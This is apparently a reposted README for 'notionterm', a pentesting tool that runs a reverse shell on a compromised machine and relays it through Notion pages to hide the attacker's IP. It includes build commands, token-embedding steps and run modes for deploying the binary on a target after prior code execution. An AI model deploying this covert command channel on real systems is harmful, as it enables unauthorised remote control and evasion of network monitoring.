[]()

** Embed [reverse]( “reverse” ) shell in [Notion]( “Notion” ) pages.**
_Hack while taking notes_

[]( “??? Embed reverse shell in Notion pages (5)” )[]()

### FOR:

* Hiding attacker IP in reverse shell _(No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell)_
* Demo/Quick proof insertion within report
* High available and shareable reverse shell (desktop, browser, mobile)
* Encrypted and authenticated [remote]( “remote” ) shell

### NOT FOR:

* Long and interactive shell session (see [tacos]( “tacos” ) for that)

### Why?

The focus was on making something fun while still being usable, but that’s not meant to be THE solution for reverse shell in the pentester’s arsenal

### How?

Just use notion as usual and launch `notionterm` on target.

### Requirements

* Notion software and API key
* Allowed HTTP communication from the target to the notion domain
* Prior RCE on target

> roughly inspired by the great idea of [OffensiveNotion]( “OffensiveNotion” ) and [notionion]( “notionion” )!

## Quickstart

### Set-up

1. Create a page and give to the integration API key the permissions to have page write access
2. Build `notionterm` and transfer it on target machine (see [install]( “install” ))

###

Run

There are 3 main ways to run `notionterm`:

**”normal” mode**
_Get terminal, stop/unstop it, etc…_ ` notionterm [flags] `
Start the shell with the button widget: turn `ON`, do you reverse shell stuff, turn `OFF` to pause, turn `ON` to resume etc… **”server” mode**
_Ease notionterm embedding in any page_ ` notionterm –server [flags] `
Start a shell session in any page by creating an embed block with URL containing the page id _(`CTRL+L`to get it)_: `https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID]`. **`light` mode**
_Only perform HTTP [traffic]( “traffic” ) from target ? notion_ ` notionterm light [flags] `

## Install

As `notionterm` is aimed to be run on target machine it must be built to fit with it.

Thus set env var to fit with the target requirement:

GOOS=[windows/linux/darwin]

### Simple build

git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go

You will need to set API key and notion page URL using either env var (`NOTION_TOKEN` & `NOTION_PAGE_URL`) or flags (`–token` & `–page-url`)

### “All-inclusive” build

Embed directly the notion integration API token and notion page url in the binary. __

_everybody with [access]( “access” ) to the [binary]( “binary” ) can retrieved the token. For security reason don’t share it and remove it after use._

Set according env var:

export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]

And build it:

git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS go build notionterm.go

**[Download Notionterm]( “Download Notionterm” )**Read More